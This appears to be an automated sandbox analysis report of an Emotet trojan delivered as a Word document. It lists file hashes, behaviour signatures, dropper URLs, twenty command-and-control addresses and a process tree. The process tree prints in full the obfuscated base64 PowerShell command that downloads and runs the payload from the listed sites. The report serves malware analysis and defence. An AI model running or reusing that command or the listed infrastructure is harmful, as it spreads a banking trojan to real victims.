Overview

overview

10

Static

static

8

X_AYF2XVRCX.doc

windows7_x64

10

X_AYF2XVRCX.doc

windows10_x64

10

Analysis

  • max time kernel
    58s
  • max time network
    134s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    07/08/2020, 07:06

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Report Analysis Logs

General

  • Target
    X_AYF2XVRCX.doc
  • Size 169KB
  • Sample200807-2e991vbqva
  • SHA256 6011d30bda10ff7a9f9e5cc83968a34178af8cb958e7eb7fe50f5d735c06c590
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    https://mersia.com/_data/temp/ogf_h_u7owu/
  • exe.dropper

    http://microcomm-group.com/aspnet_client/open-resource/749h0_a_bgapak3l/
  • exe.dropper

    https://onefarmdesign.com/cgi-bin/g_r_f/
  • exe.dropper

    http://missetiquette.com/img/57ry_v_f04/
  • exe.dropper

    http://tedde.nl/photosentinel/r_mcjd_p0vrxje/

Extracted

Family

  • emotet

C2

  • 47.146.32.175:80

  • 212.51.142.238:8080

  • 200.55.243.138:8080

  • 114.146.222.200:80

  • 153.126.210.205:7080

  • 121.124.124.40:7080

  • 222.214.218.37:4143

  • 67.241.24.163:8080

  • 180.92.239.110:8080

  • 203.153.216.189:7080

  • 119.198.40.179:80

  • 70.167.215.250:8080

  • 168.235.67.138:7080

  • 190.55.181.54:443

  • 139.59.60.244:8080

  • 189.212.199.126:443

  • 78.24.219.147:8080

  • 61.19.246.238:443

  • 137.59.187.107:8080

  • 87.106.139.101:8080

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Modifies registry class 280 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
    evasionspywaretrojan
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Blacklisted process makes network request 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\X_AYF2XVRCX.doc"
    1⤵
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    • Suspicious behavior: AddClipboardFormatListener
    PID:1156
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABUAEgAVgBNAEYAegBwAGcAPQAnAEgASABVAFEAVgB3AGsAagAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAEUAYwBVAHIAYABJAFQAYAB5AHAAcgBPAHQAYABvAGMAbwBMACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQAWQBMAFYAWABSAGYAZgB5ACAAPQAgACcAMwAyADIAJwA7ACQARgBRAFoATABTAG0AbgB0AD0AJwBBAEIAVABUAEkAYwB6AGsAJwA7ACQASQBBAEIARABNAGwAcgB6AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABZAEwAVgBYAFIAZgBmAHkAKwAnAC4AZQB4AGUAJwA7ACQAVwBVAEMATgBGAGkAawByAD0AJwBJAFAAWgBOAEkAeABhAHQAJwA7ACQARwBCAE4ATwBPAHgAcwBpAD0AJgAoACcAbgBlAHcAJwArACcALQBvAGIAagBlACcAKwAnAGMAdAAnACkAIABuAGUAdAAuAHcARQBiAGMAbABJAGUAbgBUADsAJABJAEMASwBEAFMAagBtAGYAPQAnAGgAdAB0AHAAcwA6AC8ALwBtAGUAcgBzAGkAYQAuAGMAbwBtAC8AXwBkAGEAdABhAC8AdABlAG0AcAAvAG8AZwBmAF8AaABfAHUANwBvAHcAdQAvACoAaAB0AHQAcAA6AC8ALwBtAGkAYwByAG8AYwBvAG0AbQAtAGcAcgBvAHUAcAAuAGMAbwBtAC8AYQBzAHAAbgBlAHQAXwBjAGwAaQBlAG4AdAAvAG8AcABlAG4ALQByAGUAcwBvAHUAcgBjAGUALwA3ADQAOQBoADAAXwBhAF8AYgBnAGEAcABhAGsAMwBsAC8AKgBoAHQAdABwAHMAOgAvAC8AbwBuAGUAZgBhAHIAbQBkAGUAcwBpAGcAbgAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvAGcAXwByAF8AZgAvACoAaAB0AHQAcAA6AC8ALwBtAGkAcwBzAGUAdABpAHEAdQBlAHQAdABlAC4AYwBvAG0ALwBpAG0AZwAvADUANwByAHkAXwB2AF8AZgAwADQALwAqAGgAdAB0AHAAOgAvAC8AdABlAGQAZABlAC4AbgBsAC8AcABoAG8AdABvAHMAZQBuAHQAaQBuAGUAbAAvAHIAXwBtAGMAagBkAF8AcAAwAHYAcgB4AGoAZQAvACcALgAiAFMAcABgAEwAaQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAVQBWAEQAWgBSAGYAYgBmAD0AJwBOAE8ATQBPAFcAbABzAG0AJwA7AGYAbwByAGUAYQBjAGgAKAAkAFkAUwBZAFoASAB4AHMAcgAgAGkAbgAgACQASQBDAEsARABTAGoAbQBmACkAewB0AHIAeQB7ACQARwBCAE4ATwBPAHgAcwBpAC4AIgBkAE8AdwBOAGwAYABPAGEAYABkAEYAaQBsAEUAIgAoACQAWQBTAFkAWgBIAHgAcwByACwAIAAkAEkAQQBCAEQATQBsAHIAegApADsAJABDAFIATABRAEEAYQBrAGYAPQAnAFAATgBUAFYAUwBwAHgAZQAnADsASQBmACAAKAAoAC4AKAAnAEcAJwArACcAZQB0AC0ASQAnACsAJwB0AGUAbQAnACkAIAAkAEkAQQBCAEQATQBsAHIAegApAC4AIgBsAGUATgBHAGAAVABoACIAIAAtAGcAZQAgADMAMQAyADEAOQApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AJwB3AGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzACcAKQAuACIAQwBSAGAARQBhAFQAZQAiACgAJABJAEEAQgBEAE0AbAByAHoAKQA7ACQAWABEAFcATQBaAGcAdwBkAD0AJwBVAFQATgBVAFYAawB4AGIAJwA7AGIAcgBlAGEAawA7ACQARABWAEMATwBNAGMAbQBzAD0AJwBTAFYAVwBRAFMAeABlAHAAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARgBGAEwASgBFAHcAdQBsAD0AJwBCAFMAWABMAFYAbwBlAGEAJwA=
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Modifies system certificate store
    • Process spawned unexpected child process
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Blacklisted process makes network request
    PID:1652
  • C:\Users\Admin\322.exe
    C:\Users\Admin\322.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetWindowsHookEx
    • Drops file in System32 directory
    • Suspicious use of WriteProcessMemory
    PID:1664
    • C:\Windows\SysWOW64\Sens\MSAC3ENC.exe
      "C:\Windows\SysWOW64\Sens\MSAC3ENC.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of SetWindowsHookEx
      • Suspicious behavior: EnumeratesProcesses
      PID:1576

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/1156-5-0x000000000AC10000-0x000000000AC14000-memory.dmp
        Download

        memory/1156-6-0x000000000BC90000-0x000000000BC94000-memory.dmp
        Download

        memory/1156-2-0x0000000008AA0000-0x0000000008AA4000-memory.dmp
        Download

        memory/1576-21-0x0000000001C40000-0x0000000001C4C000-memory.dmp
        Download

        memory/1652-10-0x0000000001DD0000-0x0000000001DD1000-memory.dmp
        Download

        memory/1652-15-0x000000001C4A0000-0x000000001C4A1000-memory.dmp
        Download

        memory/1652-14-0x000000001B7F0000-0x000000001B7F1000-memory.dmp
        Download

        memory/1652-13-0x0000000001E10000-0x0000000001E11000-memory.dmp
        Download

        memory/1652-12-0x0000000002490000-0x0000000002491000-memory.dmp
        Download

        memory/1652-11-0x000000001ADA0000-0x000000001ADA1000-memory.dmp
        Download

        memory/1652-9-0x000007FEF1520000-0x000007FEF1F0C000-memory.dmp
        Download

        memory/1664-17-0x0000000000290000-0x000000000029C000-memory.dmp
        Download

        memory/1952-22-0x000007FEF2300000-0x000007FEF257A000-memory.dmp
        Download